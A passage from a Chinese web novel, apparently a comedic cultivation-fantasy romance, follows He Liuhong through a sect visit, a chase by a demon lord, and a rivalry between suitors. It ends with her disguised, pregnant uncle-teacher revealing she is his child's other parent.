她拉着贺流虹问起了琼华真人揣崽的样子,“会不会有点怪?你小师叔平时那么高冷的一个人,想象不出来他揣上崽崽的样子,还像从前一样好看吗?” 贺流虹的脑海中浮现出她的漂亮小师叔挺着孕肚眉眼低垂的模样,心里火热得很,戏谑地说道:“好看啊,更有韵味了。” 宁逢靠倒在椅背上嘿嘿嘿地乱笑。 门在这时被推开,老谷主一脸威严地出现在两人面前,扫了眼自己的好徒儿。 宁逢赶紧恢复正经,“师父,你出关了?” 老谷主在两人身上扫过,目光落在贺小霓脸上。 贺流虹恍惚间看到老人家脸上一闪而过的讶异。 贺小霓放下吃了一半的糕点,有些紧张地看了一眼贺流虹。 宁逢解释道:“这是小贺在路上捡的,没人照顾,送咱们这儿了。” 老谷主的目光仍然停留在贺小霓身上,有些走神,随即回过神来,神色温和:“谷里孩子多,她看着有些怕生,安排个僻静的住处,好生照看着。” 宁逢朝贺小霓招招手,贺小霓恋恋不舍看了贺流虹一眼,跟着宁逢离开。 贺流虹试探着问道:“谷主,这孩子可是有什么问题?” 老谷主笑道:“没什么,只是让我想到一些往事。” 贺流虹偷偷端详她的神色,不见异常,放下心来,道:“那就好,我还怕给谷中添麻烦。” “一个孩子能有什么麻烦,你也瞧见了,谷中最多的就是孩子。” 老太太神态缓和很多,优哉游哉地坐在她的摇椅上,动作娴熟地泡起了一壶茶,那一套茶具应当跟随她多年,很得她喜爱,早已被滋润得染上一丝灵气。 贺流虹盯着那只小猫造型的紫砂茶宠,不知不觉有些出神,像是被某种不知名的力量吸引。 直到耳边传来对方的说话声:“听说你得罪了风月宗宗主,他可有为难你?” 贺流虹回过神,道:“风月宗宗主是仙门楷模,封印万年大妖,怎么会和我斤斤计较。” 她说完,又隐约觉得老谷主这话问得有些突然,于是反问道:“老谷主和风月宗宗主认识?” 老谷主沉默片刻,“算是认识吧。” 像是担心贺流虹追问,她主动扯开话题,道:“琼华真人怀有身孕一事我已经听说,这段时间我会研究一些医书寻找答案,不过天玄宗我不能再去,我身体抱恙,不方便出谷。” 贺流虹也没想过能请动对方,得到这个回答已经很满意,至于掌门托她“借”的秘籍,她 也没打算弄到手。 反正乾坤珠的下落她比谁都清楚,那本秘籍到了掌门手中,反倒可能会坏事,她目前还没打算让其他人找到乾坤珠。 这种好东西还是她自己拿着最保险,谁知道以后会发生什么,今日天玄宗能因为她的价值放过修炼妖法的宋清宁,明日说不定就能因为别的利益对她大开杀戒。 她恭敬地行礼道谢:“那就拜托谷主了。” 想了想,她又不死心地问:“谷主觉得风月宗宗主会是给我小师叔下迷情散的人吗?” 既然老谷主看起来和风月宗宗主有牵连,那她少说也要摸一摸那个老家伙的底细。 第57章 第57章男人最重要的是什么 “你说的倒也不是没可能,整个风月宗能对你师叔下毒还不被发现的,除了宗主本人,找不出别的。” 老太太不紧不慢地说道:“可是据我所知风月宗宗主不好男风,他为何要给你师叔下那种毒。” 贺流虹哽住。 “不是,他下迷情散也不一定是因为他自己馋我小师叔,他不是有很多徒弟吗,”贺流虹感慨道,“父母为子女计为之深远,师父为了心爱的好徒儿,又何尝不是呢。” 她看向摇椅上的老太太,“谷主,你也有徒弟,你肯定能理解这种心情的对吧。” 老太太欲言又止,很想说自己不是那种变态的师父,如果宁逢馋别人身子和修为馋到要给别人下毒,她只会把这个逆徒绑起来揍一顿。 她白了贺流虹一眼,“歪理邪说,他好歹是一宗之主,哪能做出这么无聊的事,你怎么不干脆说你师叔肚子里的孩子也是被风月宗宗主设计陷害的。” 贺流虹像是没听出她的反讽,思考了一下,“这应该不太可能吧,我小师叔死活要把孩子生下来,想必对孩子的母亲在意得很,肯定不是被害的。” 老太太冲她挑了下眉,半是认真半是调侃地说:“你这小师叔从小只知道修炼,性情纯真,说不定是被哪个坏东西给哄骗了才愿意替她生孩子。” 贺流虹忽然叹了口气,“唉,你说得我有点难过了,我小师叔其实人还不错的,怎么会被坏东西给骗了呢,太可惜了。” 谷主瞟了她一眼,看到她向来总是很快活的眉眼耷拉下来,乌漆漆圆溜溜的大眼睛里光彩暗淡,刚要生出怜悯之心,想安慰几句,就听到她紧接着酸溜溜地说道:“说起来我小师叔的元阳之身还是我破的呢,他与其给一个不知道哪里冒出来的坏东西哄骗着生孩子,还不如给我生呢。我不像外面那些居心叵测的坏东西,他要是给我生了崽,我肯定真心实意对他好的。” 贺流虹扼腕,满脸写着惋惜和不甘。 这种既长得漂亮又心甘情愿生孩子的男人怎么就轮不到她啊? 老谷主沉默良久,“琼华真人有你这么个师侄,真是他的福气。” 贺流虹露出了三分羞涩两分淳朴五分自豪的笑容,挠了挠脑瓜子。 谷主彻底看不下去了,嘀咕着:“你还是走吧,别在这里乱我道心。” 贺流虹被赶了出去,宁逢正在领着贺小霓熟悉谷中的环境,遇上她心不在焉地走在树上,上去拍了拍她的肩膀。 “谷中收养的孩子若无名姓一律跟师父姓宁,小霓说你救了她,她想要跟你一样姓贺,你觉得怎么样?” 贺流虹点点头,“行啊,这有什么。” 她瞧了贺小霓一眼,小孩似乎完全不介意自己又要被姐姐丢下的事实,冲她眨眨眼睛,“宁逢姐姐,那我以后在谷里就叫贺小霓了,你让其他人别叫错了。” 宁逢很喜欢这个长相极为精致可爱的小孩,揉揉她被狗啃似的头发,道:“好啦我记住啦,你的头发是自己剪的吧,我先让人帮你重新修剪一下。” 她招呼了一个师妹过来,将贺小霓领走。 贺流虹打量着她脸上流露出的忧愁神色,关心了一句:“你怎么了?” 宁逢左右瞧瞧,将她拉到僻静角落里,神情变得有些凝重,问她:“你请动我师父去天玄宗了吗?” 贺流虹摇摇头,“她老人家看上去脸色有些憔悴,我会回去禀告掌门不再拿这事麻烦她。” 宁逢说:“你有没有觉得我师父有点不太对劲,以往她也会闭关,但从不会像这次这么久。” 贺流虹试探着问:“她那套茶具是哪里得来的?” “从我记事起就一直看到,她说是从凡界就一直惯用的,”宁逢回想片刻,皱了下眉,“怎么了,那应该只是一套普通茶具吧,最多沾染了一些师父身上的灵气。” 贺流虹相当严谨地说道:“我不知道自己有没有感觉出错,那套茶具上沾染的似乎不止是灵气。” 宁逢猛地一拍脑门,“完了,天塌了,你果然也这么觉得。” 她将声音压得极低,“我师父好像生出了心魔,但我不明白,师父她一辈子济世救人,坦坦荡荡,她的心魔因何而生。” 贺流虹陪着她发了一会儿愁,“既然她不想说,我们也就当不知道吧,有需要我的地方,千万别跟我客气。” 最后又朝贺小霓离开的方向望了一眼,道:“掌门让我快去快回,我就不去见小霓了,你帮我转告她,时机合适的时候我会来接她出去。” 她很快就再次离开医仙谷,不过没有立刻回天玄宗,而是直奔着风月宗去了。 最大的秘密捏在别人手里,总是不够安心,可那毕竟是个宗主,修为远在她之上,她总不能像防范周无疾那样,找个理由就能把人给杀了。 到了风月宗的地界上,她顺路去镇妖塔周围转了转,镇妖塔由几大宗门一起镇守,没有允许不得进入,乾坤珠放在她身上不如放在镇妖塔。 那颗珠子厉害归厉害,但以她现在的实力还没有把握能完全控制它的力量,带着它就像带着一颗不定时炸.弹。 她的修为比起从前的自己称得上是进步神速,可以杀了新一代弟子中的翘楚周无疾,但放在整个修真界还没有说服力,仅仅是天玄宗也有好几位大乘期,往下还有化神和元婴。 确认镇妖塔情况正常,贺流虹小心翼翼离开,往风月宗靠近。 风月宗管理随意,想混进去不是难事,她也不打算搞什么危险操作,就是去和宗主聊聊天,探望探望宗主的伤势而已。 当然,探望之前,她像上次一样提前给天玄宗传信告知自己的去向,确保自己有救兵。她在信中振振有词地说自己有了给小师叔下毒之人的线索,时机不易,她要立即去风月宗替师门寻仇,如有不测,不用怀疑,定是风月宗宗主袒护门人向她出手。 今时不同往日,她也是个有仇家的人了,并且还不少,整个妖族最想杀的人里面小师叔排第一她就排第二。 出门在外,完事都要小心,虽说仙门到处都在除妖,各大宗门都在高价回收妖丹,但是妖族还是不得不防,以免被妖族找到,她又给自己用了好几张隐匿符,隐藏了自身气息。 走进一片密林,她还是撞上了妖族,几个小妖怪见她落单,又被她的隐匿符干扰,以为她只是个刚练气的小修士,围住她一拥而上。 白送上门的妖丹她肯定不想错过,拿着不太趁手的刀追着对方乱砍。 热身还没结束,林中就被一股妖息笼罩。这似曾相识的感觉让她立刻回想起被妖尊捏住命运后脖颈的滋味。 果不其然下一秒熟悉 的红色身影出现在她面前,一挥袖将她那把随地捡来的大刀折断。 她做出惊骇模样:“我花了一百灵石请人炼制的宝刀,竟被你轻易毁坏,恐怖如斯,我不是你的对手,我先走一步!” 妖尊恨恨骂道:“杀了我这么多族人,还想活着离开,想得美。” 妖尊重伤未愈,但此刻贺流虹在她眼中就是个不入流的小修士,捏死这个人族跟捏死一只蚂蚁一样简单。 贺流虹感应着她的气息,拼死一战也不是没有胜算,但好好的干嘛要拼死一战,她还有更重要的事情做,于是装作害怕不已的样子一边求饶一边脚下溜得飞快。 妖尊越看这个人族修士越觉诡异,明明是个练气初期,逃跑起来灵活得像只耗子,根本抓不住。 贺流虹逃到一半,忽然感觉附近又多了一股熟悉的气息,于是迅速停下来,喊道:“还愣着干什么,快出来把这只狐狸打跑,不然你就只能等着给我收尸了!” 原本有意收敛的灵压瞬间释放出来,一人一妖中间,多了一道黑色身影。风月宗宗主又用那副见不得光的黑袍男形象露面了,蛮横地拦在妖尊面前,沉声警告:“我说过,她的命得留着。” 妖尊这时候才反应过来,指着贺流虹大骂道:“难怪这么难抓,原来你根本不是什么练气小修士,贺流虹,新账旧账一起算,今日本尊定让你魂飞神灭!” 贺流虹扭头便躲到了黑袍男后面,拿对方当护盾,不可置信地问:“我一共用了十张高等隐匿符,这你都能找到我的踪迹?” 黑袍男笃定地开口:“只要我想,我随时都能找到你,还有你妹妹。” 贺流虹讶异之时,他意味深长地补充了一句:“别忘了你们的来处。” 贺流虹确认道:“你就是小霓说的那个‘阿爹’?” 男人正要开口承认,她又说道:“哈哈你再装,你长得又老又丑,哪有一点像小霓说的那个长头□□亮阿爹。” “你!”男人的黑袍子都气得抖了起来,深吸了几口气才冷静下来,“看来你确实是忘得差不多了,不过依旧是这副讨人嫌的犟驴脾气。” 妖尊都看呆了,“你俩还聊起来了是吧,有没有将我这个妖尊放在眼里!” 贺流虹耸耸肩膀,“我又不是妖族,干嘛要把你这个大尾巴妖尊放眼里。” “你你你你果然很讨人嫌!”大尾巴妖尊的九条大尾巴都朝着她甩过来,带着十足的威力,“你们都去死吧!” 贺流虹掉头就跑,对黑袍男说道:“我先走,你垫后!” 黑袍男好不容易等到她离开天玄宗,自然不肯做了她的护盾让她趁机又开溜,于是匆匆甩开妖尊追了上来。 偌大的丛林里,穿着灰扑扑弟子服的贺流虹在前面狂奔,后面紧追着一黑一红两道身影,任谁看了都知道后面两个境界不低,至少是化神期,愣是没把这个名不见经传的炼气期修士抓到手。 贺流虹累得够呛,脑子里还在飞速思考黑袍男刚才说的那些话的真实性,如果是为了骗她,那又有什么好处,贺小霓被囚禁在水月镜中几百年毫无怨言,那是因为贺小霓比小师叔还要单纯好骗,她难道会因此对贺小霓所说的“阿爹阿娘”生出好感吗。 她想快点找个安静的地方想想这个问题,往掌门那里一连发射了好几次求救信号。 眨眼睛,人就到了。 不过来的不是她的掌门师尊,而是她的彤云道友。 以及南宫月宁。 以及一个没头发的漂亮男人。 三人对于剩下两人的到来感到意外,彼此打量一遍后,才专心对付起眼前的麻烦。 南宫月宁不耐烦地甩了下鞭子,“你们这些妖族烦不烦,为何来我风月宗地界作乱,我难道很闲吗,知不知道为何对付你们我错过了什么!” 她骂完妖族,又拿鞭子指着黑袍男,“还有你,穿得一副见不得人的样子难道就能改变自己仙门叛徒的身份吗,你还知道要脸呢,把面具摘了让我瞧瞧你是个什么货色!” 风月宗宗主身体略显僵硬,发出伪装后的沙哑嗓音指责道:“狂悖无礼。” 南宫月宁甩着鞭子便冲了上去,以一敌二,勇猛非凡。 风月宗宗主看起来对这个徒弟并非毫无师徒之情,心中有所顾忌,大部分时候都在躲让,并不主动出手,被南宫月宁逼迫得有几分狼狈。 站在一旁的贺流虹默默不语,只一味幸灾乐祸。 这时候有人轻轻撞了下她的后背,凑近来问:“你怎么每次易容都这么丑?” 她扭头看了眼没头发的小秃驴,看在他长相漂亮的份上原谅了他的不礼貌,只冷冷白了他一眼,“多管闲事,念你的经去。” 莲音被她高冷的态度深深吸引,又往她身边凑了凑,“我能当你的道侣吗,我觉得我很喜欢你。” 一个和尚说要当她道侣,真是活得久了什么都能看到。 “原来你有恋丑癖,好变态,走开。” 她默默往旁边挪了挪,这一挪,就来到了彤云身边。 多日不见,彤云道友还是如此美丽可人,欲说还休地看了她一眼,眼帘低垂下来,抿了抿鲜红柔润的唇瓣,脸上饱含无限柔情。 她指着彤云对莲音说道:“你学学人家,男人最重要的是什么,是矜持。你长得再漂亮有什么用,太轻浮了没人愿意要的。” 彤云低下头,脸微微泛红,轻轻扯了下她的袖子:“你别再乱说了。” 莲音高昂着下巴,上下打量被贺流虹夸奖的男人,满脸不屑:“嘁,这男的一看就是在装纯。” 第58章 第58章听姐一句劝 南宫月宁一个不慎被妖尊打倒,一扭头,身后三人聊的有来有回,十分服气,“你们是来干嘛的,不是来除妖的吗?打啊!” 莲音:“谁说我是来除妖的,我是来找人的。” 他一把抓住贺流虹的手,理直气壮道:“现在人找到了,我们走了。” 贺流虹二话没说就和他一起开溜。 彤云犹豫了两秒,对南宫月宁说道:“这里就拜托你了。”说完也追着贺流虹匆匆走了。 三人没溜出多远,妖尊就追了上来,咬牙切齿地骂道:“贺流虹,你这狡猾无耻的人族,今天休想从我手底下逃走!” 贺流虹毫不客气地把莲音推出去,道:“快,你上。” 莲音愣了一下,撸起袖子就冲了上去。 妖尊很快发现,贺流虹身边没一个简单的货色,这个看上去不伦不类的小和尚动起手来竟然比风月宗的人还要卑鄙下流。 她不放过任何鄙夷仙门的机会,道:“禅宗的佛子就是这般没脸没皮的模样,真是给仙门丢人。“ 贺流虹一脸赞同地点了点头,“妖尊大人说得对。” 莲音又愣了一下,“你到底是哪一边的?” 南宫月宁无语:“贺流虹你是不是有毛病?” 贺流虹语重心长地劝道:“打架的时候不要分心。” 她话音刚落,就被南宫月宁的鞭子缠住,被强行扔到了战局中心,险险躲过了那只红狐狸照脸扇过来的一尾巴。 彤云看得一惊,下意识便释放出威压向妖尊倾轧过去。 妖尊被逼退,踉跄了几步,嘴角溢出一丝血迹,心中暗自惊诧,这几个赶来帮忙的人族修士一个比一个厉害,尤其这个看起来最安静内敛的男修,至少已是化神期的修为,即便她没有身负重伤,也没有把握能够打赢。 她是来找贺流虹那混蛋报仇的,不是来送命的,眼下 已经错失良机,当即便转变念头,化作原形飞快地逃了。 彤云还想追上去,一副要赶尽杀绝的样子,被贺流虹拉住,对上她有些异样的眼神,顿感不妙。 方才担心她在妖族手下受伤,他一时情急暴露了原本的修为,凭借两人的亲近关系,稍加留心就能辨认出他是谁。 贺流虹的笑容很耐人寻味,“原来你这么厉害啊,仙门怎么没听说过你这号人才。” 彤云,也就是琼华真人被她瞧得有点心虚,挤出一点笑意,支支吾吾地给自己圆谎,“我很少离开师门。” 莲音在一旁抱着胳膊,幽幽地开口:“原来还是一朵涉世未深的小白花啊,真是惹人怜爱。” 贺流虹到处看了看,道:“那个穿黑袍子的男的呢,怎么不见了。” 南宫月宁被妖尊伤到了,正在打坐调息,闻言轻哼一声:“早就跑了,那种见不得光的家伙,哪敢和我们一直纠缠下去。” 她瞥了眼南宫月宁,没从对方脸上看出什么异常,想来这对师徒没有成功相认。 本来她还有点担心黑袍男身份暴露的话,会不会把她也给供出来。 要是她也有什么见不得人的隐藏反派身份,难道要让小师叔大着肚子来抓她?太辛苦了,她心疼。 而且她还想体验一下飞升的滋味呢,就算飞升不了,搞个掌门当一当也挺好的。 黑袍男为什么不能像周无疾一样乖乖从这个世界消失呢。 可惜她对风月宗还不够了解,尤其是那个常年躲在山洞的宗主。 她顺势对南宫月宁说道:“南宫前辈,你受了伤,外面妖族作乱十分危险,我护送你回风月宗吧。” 南宫月宁见了鬼似的看她一眼,“多谢你的好意,但我的伤还没到那种程度。” 贺流虹叹气:“那真是太可惜了,看来我现在对南宫前辈来说已经派不上用场了。” 南宫月宁面无表情:“是的,你现在对我来说一点都派不上用场了,以前我给过你机会的,谁知道你不懂珍惜。” 贺流虹惊讶道:“怎么,你这么快就不馋我小师叔的身子还有修为了吗?” 提到这件事南宫月宁流露出一丝遗憾神情,“没办法,他肚子都被人搞大了,我实在没这种刁钻的癖好。” 贺流虹说:“那你看我们掌门怎么样,他也是风韵犹存呢,我可以为你引荐。” 南宫月宁狐疑地盯着她:“你想干什么,卖师求荣吗?” 贺流虹:“那也不至于,就是想和你搞好关系,以前年轻不懂事,上次出门历练了一趟才知道,多个朋友多条路。” 南宫月宁:“好吧,看在你这么真诚的份上,以前的事就当没发生过。” 停顿片刻后,她连忙强调道:“但是你们掌门就算了,虽然长得也还行,但是没什么风情。” 贺流虹想了想,深以为然地点头:“确实是这么回事。” 两人颇有些相谈甚欢的架势。 彤云和莲音在一旁听得目瞪口呆。 莲音小声问彤云:“喂,天玄宗那个小师叔的肚子真的大了吗?” 彤云的脸色青一阵红一阵,关于他的肚子,贺流虹过问,那叫关心,别人过问,那就是多管闲事。 他现在连风月宗和禅宗都觉得碍眼,恼火地看了那没礼貌的佛子一眼:“这与你何干!” 莲音无辜又困惑:“就是随便聊聊天嘛,你这么激动干什么。” 彤云偏过头,找了个离他远点的地方走过去坐下来。 莲音嘀嘀咕咕:“肚子大了的人又不是你,还脸红,装什么纯呢。” 在场四个人修为都不低,说话也都没刻意回避,彤云深吸一口气,既想屏蔽听觉将莲音恼人的声音隔绝在外,又不想错过贺流虹和别人的交谈,只能默念起静心咒。 南宫月宁朝彤云的方向扬了扬下巴,压低声音问贺流虹:“这么快身边又换人了?眼光不错啊,滋味和修真界第一美人比起来如何?” 贺流虹顺着她所指的方向,看到正在打坐的彤云闭着眼睛微微蹙着眉头。 她露出了困惑神情:“滋味?什么滋味?” 南宫月宁笃定道:“他元阳都没了,你还说你不知道他什么滋味。” 贺流虹这下是真的震惊了:“怎么看出来他元阳没了的,风月宗连这种偏门的知识都要学?” 南宫月宁还挺骄傲的,讳莫如深地回答道:“风月宗多的是你不知道的事。” 贺流虹目光一转,落在莲音身上,好奇道:“那你再看看,佛子的元阳还在不在。” 这一届的清冷佛子质量不怎么样,一上来就想找道侣,一看就不是个能守得住元阳的。 南宫月宁很是欣慰:“佛子是个好男孩,他很好地守护住了自己的元阳之身。” 她以过来人的身份一本正经提醒贺流虹:“看在你我都是女人的份上,听姐一句劝,随便玩玩没什么,但要找道侣的话,还是要找佛子这种元阳还没丢的。” 贺流虹正想问为什么,彤云噌的一下站起来,胀红着脸,一言不发地走了。 “他干嘛去了?” 佛子放下了用来观察自己光秃秃脑门的小镜子,看热闹不嫌事大地说道:“被南宫拆穿真实面目,恼羞成怒,跑了呗。” 又得意道:“我就说他是在装纯吧,随随便便就把元阳给别人了,还好意思跑来缠着你,真给我们男修丢人。” 贺流虹:“?” 南宫月宁:“佛子说得对,现在像佛子这样懂事的好男修不多了。” 莲音摸了摸自己锃亮的脑袋,“贺流虹,现在知道我的好了吧?” 贺流虹也下意识摸了摸自己的头,还好,头发还在,没被传染。 南宫月宁对光脑门的佛子也不感兴趣,无视佛子和贺流虹眉来眼去,说:“最近有不少人在黑市失踪,疑似妖族所为,我想去调查一下,你们要一起吗?” 贺流虹对黑市的行事作风其实没什么好印象,一出事就把所有人都关起来不让走,她不太想趟这趟浑水。 可是南宫月宁都说了事关妖族,她要是不去,是不是显得立场不够坚定? 她不由露出了纠结神色。 南宫月宁挑眉,“你还在担心那个彤云?还怪多情的。” 贺流虹不好意思地笑了一下,站起来,“对,我还是去看看彤云吧。” 她朝着彤云离开的方向飞快追了过去。 莲音不满地哼了一声,也追着她去了。 彤云没有跑太远,坐在长满水草的湖边闷闷不乐地丢着石子,清澈的水面倒映出那张经过易容的秀美脸庞。 和妖尊交手之后他感到虚弱,肚子里多出来的小生命持续不断地吸食他的能量,让他脸色越发苍白,摇摇欲坠,灵力甚至无法维持这副变幻过的身形容貌。 他正想趁着现下无人显露原本的模样,一只素净修长的手抓住他肩膀,将他从湖边拉过来。 一抬眸,他便对上那双总是带着浅浅笑意显得人畜无害的眼睛。 贺流虹笑道:“你离水边太近了,掉下去了怎么办。” 他忍不住细看这双乌黑澄亮的眼睛,又觉得这双眼睛其实复杂到让他有些看不明白。 贺流虹歪了下脑袋,半开玩笑地问他:“为什么一直看着我,这么快就把我忘了?” 她的脸上配合这句话流露出几分失落:“那我可就要伤心了。” 彤云往后退了几步,与她拉开距离,有些别扭地说道:“你别靠的我这么近。” 贺流虹明知故问:“生气啦?” 彤云扭开脸,“我为何要生气,你追过来做什么,找你的莲音和南宫月宁去吧。” 贺流虹当初在神月峰就三天两头看小师叔生气,应付起生气的美人,可谓是经验丰富,不慌不忙。 她无视彤云不许她靠近的警告,上前几步,动作轻柔地握住美人的一只手,伤感地开口:“我们一起经历了生死,你还帮了我那么多次,我还以为我们早就信任彼此,为什么会变成现在这样。” 彤云望着她眼帘低垂的失落模样,心里一片柔软,像是快要化了,全部变成眼泪落下来。 他把师父师兄的教导全忘在脑后,什么端方持重喜怒不形于色之类的,全都比不过眼泪和脸红的速度,简直不够丢人的。 他破罐子破摔般地倾诉着自己的委屈:“可是南宫月宁那样拿我取笑羞辱,你却无动于衷,还一直和她待在一起,你怎么能这么对我?” 贺流 虹手忙脚乱地给他擦眼泪,“好好的怎么说哭就哭了呢,我错了,是我太粗心大意,忽略了你的感受,你别生气了,我再也不和她呆一块儿了还不行吗,我下次见到她就骂她一顿,不,打她一顿,让她对你放尊重点!” 她道歉十分真诚,又因为在神月峰受过训练,所以十分熟练,让现在的彤云连继续发作的机会都没有。 彤云眼睛红红,泫然欲泣地看了她一会儿,最终没再哭了。 贺流虹又明知故问起来:“那你现在还生气吗?” 彤云嘴硬道:“我本来就没有生气。” 贺流虹:“好好好你不是你没有,是我瞎说。” 彤云低着头有些窘迫,“你一个人千万别和南宫月宁动手,她的修为已经快要到化神期了,我怕她真的会伤到你。” 贺流虹认真注视着他,眨眨眼睛,笑道:“还是你最好,会关心我。” 说到“最好”这两个字,彤云又想起来禅宗那个自视甚高的佛子。 到目前为止,顺风顺水众星捧月的人生让他没必要去真正讨厌任何人,但现在在他看来没有人比佛子更令人讨厌。 一个连头发都没长出来的和尚,凭什么话里话外觉得比他好,竟然还妄想做她的道侣。 想到这里,彤云的眼神又黯淡下去。 他的脸色本就惨白得有些吓人,贺流虹关切地询问道:“又怎么了,我还有什么惹你不高兴的地方,你都说出来,我一定改。” 彤云吞吞吐吐:“还有那个莲音……他……我不喜欢他。” 他很想让贺流虹也离那个秃驴远一些,最好是再也不要理会对方。 可是话到嘴边又觉得这是个相当任性的要求。 凭什么他不喜欢一个人,就要干涉贺流虹和谁在一起和谁交朋友。 贺流虹哪里不知道他想说什么。 但是正如他所担心的那样,被干涉个人选择让贺流虹挺不舒服的。 即便这个人的身份极有可能就是她所猜测的那样,是易过容的小师叔。 她的脸色沉下几分,故意做出不高兴的样子反问道:“那你现在又是以什么样的立场来要求我的呢,至今为止你连真实身份都不肯告诉我,你不喜欢他,和我有什么关系,你又不是我的道侣。” 突如其来的质问让彤云措手不及,对视时她眼里透露出的光芒仿佛将一切都看穿。他果真是暴露了,他身为师叔却毫不自重乔装打扮接近门中弟子,说出去想必为人所不齿。 他的身形摇晃几下,本就虚弱的身躯在心境波动之下再也支撑不住,眼睛一翻晕了过去。 与此同时,维持自身伪装的灵力消散,露出本来面容。 贺流虹没想到这位彤云道友——现在应该说是她的小师叔如此禁不起刺激,她都还没威逼利诱严刑逼问,就直接被吓晕了。 她连忙把人抱住,端详着这具失去所有伪装的身体,比起“彤云”那张清俊秀美的脸,怀中男人眉眼更为秾艳昳丽,即便在昏睡中也十分生动。 目光继续往下,眼前的情景就略显怪异起来。 虽然已经近距离看过很多次,但那隆起的腹部仍然让她感到惊奇,和这具漂亮的男人身体相结合,诡异中透露出说不清道不明的诱惑力。 她像是刚发觉到世界上第一个出现的奇物,小心又兴奋地伸出一根手指头,又轻又慢地在小师叔的肚子上戳了一下。 只戳了这一下,她就不敢再碰,就怕没轻没重把人给弄坏了。 看到人还睡着,她松了口气,规矩地收回手,四处张望,将人放在湖边的一块大石头上,给他喂了一颗丹药。 做完这些,她又在景雍身边蹲下来,两只手捧着脸,继续打量起来。 在这期间她自然又是没忍住,偷偷伸手戳了几下对方的肚子,觉得比在妖族老巢杀个七进七出还要惊险。 她一边干着这件无聊又惊险的事情打发时间,一边脑袋里回想起事情的龙去脉。 小师叔肚子里的宝宝才三个月大,根据时间推测,三个月前她应该没和小师叔伪装的身份“彤云”待在一起,所以也就是那段时间小师叔被不知道哪里冒出来的坏东西给祸害了? 到底是谁这么大能耐,让修真界第一美人心甘情愿给她生孩子,太牛了。 第59章 第59章生下来吧,我会养的…… 景雍半梦半醒间听到贺流虹熟悉的嗓音。一开始他以为贺流虹在跟自己说话,细听之下发现还有一人。 “你老是粘着我做什么呀,都说了男人要矜持。” “他能赖着你不走,凭什么我不能。” “你到底想干什么呀,别在外面瞎玩了,老实回去当你的佛子吧。” “我已经跟师父说我要还俗了,等我长出头发,让我当你道侣行吗。” 那道恼人的声音隔着一扇门似有若无地飘进来,景雍又急又气,猛地睁开眼睛。 他起身下床,准备出去打断那不知羞耻的佛子引诱自家弟子,一低头发现自己还是彤云的样子。 也许是贺流虹为了避免他的真实身份带来麻烦,顺手帮他重新易容了。 他冷静了一些,坐在床边没再采取行动,悄悄释放神识将门外两人的动静听得更仔细。 能立刻赶走莲音当然好,但他其实也想知道贺流虹的回答。 修真界常常拿佛子和琼华真人比较,以前他从不把这种事放在心上,现在他暗自担心自己被比下去了。 莲音比他坦荡多了,主动凑到贺流虹眼前,问:“你到底要不要我嘛?你连睡在里面的那个彤云都不嫌弃,我给你当道侣又怎么了,我就是输在生得太晚,否则提到修真界第一美人大家想到的一定是我。” 那张脸神采飞扬,精致漂亮得不知天高地厚。 贺流虹没忍住好奇心,伸手摸了摸他的脑袋,震惊地瞪大眼睛,这也太滑溜了! 莲音将这个举动视作接受他的讯号,笑道:“你答应了吗?” 贺流虹收回了自己不安分的手,一动不动地盯着他看了一会儿,有点犯愁,这一届佛子不仅不清冷禁欲守身如玉,还格外缠人。 她哼了一声,“我的道侣是什么很便宜的身份吗,你想当就给你当?先把衣服脱光了看看。” 莲音的耳尖终于红了,犹犹豫豫地看着她。 贺流虹心想这下总算能把人弄走了,却听他跃跃欲试地问道:“真的?给你看了你就同意了?” 贺流虹怔了一下,“这个……” 房间的门打开,景雍走了出来,冷声说道:“你枉为禅宗佛子,简直不知羞耻!” 外面的两人都有些意外,贺流虹笑道:“这么快就醒啦,感觉怎么样?” 因为确认了这是自家的小师叔,她的语气堪称温柔。 莲音愤愤瞪了他一眼,转而又嗤笑一声,道:“我有什么好羞耻的,至少我不像有些人连元阳都随随便便给了别人,还好意思赖在虹虹身边不走。” 景雍气得胸口上下起伏,虽然他的元阳没有给别人,正是给了贺流虹,但莲音话中的嘲讽还是让他有种无地自容的感觉。 他情急之下不知搭错哪根神经,往贺流虹身旁一坐,皮笑肉不笑道:“那你脱吧,这就脱光了让我也看看,阿虹她年纪小经验不足,我也算是她的长辈,她挑道侣,我帮她掌掌眼。” 贺流虹:“啊?还能这样?” 她扭头看向端坐在自己身边的男人,男人不知是生气还是睡得太饱,脸颊红扑扑的,可爱得很。 莲音见她非但不阻止,反倒一味瞧着彤云发愣,咬牙切齿地骂道:“我真不明白你看上他什么了。”气呼呼转身跑了。 贺流虹朝窗子外面探头探脑,直到莲音的身影从窗外彻底消失,松了口气,“老缠着我,真碍事。” 她回头看向景雍,笑道:“谢谢你啊小师叔,还是你有手段” 景雍心里翻江倒海,见到她已经浑不在意地喝起了茶,冷哼一声,站起身回了房间。 贺流虹微妙地察觉到一丝不对,她凑到房门口问:“小师叔,你又生气啦?” 房间里没动静,她在门口嘀嘀咕咕:“这怎么行,一见到我就生气,我还是走吧。” 话音刚落,房门就从里面打开了,景雍颇为不自在地开口:“你不许走,必须在这里陪着我。” 贺流虹笑道:“必须?小 师叔,你突然变得好霸道哦,跟谁学的。” 景雍扫了一眼她嬉皮笑脸的样子,深吸了一口气,接着用更加庄重的口吻说道:“你也不许答应和佛子结为道侣,更不许……不许看他脱衣服。” 贺流虹皱皱眉,“虽然你是我师叔,但也不能一不高兴就连我的个人生活也要管吧。” 景雍心虚了一瞬,如果他真的只是她的师叔,自然无权管这事。 他给自己鼓气,他并不只是她的师叔。 “……我不是以你师叔的身份来对你说这些的。” 他左右看了看,抓住贺流虹的手,“你跟我进房间。” 贺流虹乖乖跟着他进去,难掩好奇,迫不及待问:“到底有什么事啊?” 景雍关好门,恢复了原本的身形。 贺流虹瞥了一眼他的肚子,按捺住动手动脚的冲动,装得一脸老实:“师叔,宝宝还好吗?” 景雍忽然又抓住她的手,带着她来到他隆起的腹部,一脸豁出去的神情,道:“我是你孩子的阿爹,即便是为了这个孩子,你也不可以随便和别人结为道侣。” 贺流虹趁机在他的肚子上摸了两把,一抬头,看到他的脸涨得通红。 “不要乱摸,”景雍强装镇定地警告,又提醒她,“你到底有没有听到我说的话?” 贺流虹的反应越平静,他越是惴惴不安。 如果她对这个孩子根本不在意,那他凭什么继续对她提要求呢。 在他的提醒下,贺流虹收了手,费解地盯着他的肚子,半晌后终于开了口:“真的是我的?” 她缓缓回忆道:“如果我记得没错,这孩子才三个多月,距离我们上一次神交都大半年了吧。” 这说到了景雍的痛处,就算是修真界也没有睡完隔了六个月才怀上的先例,也没有男子受孕的先例,贺流虹不相信也在情理之中。 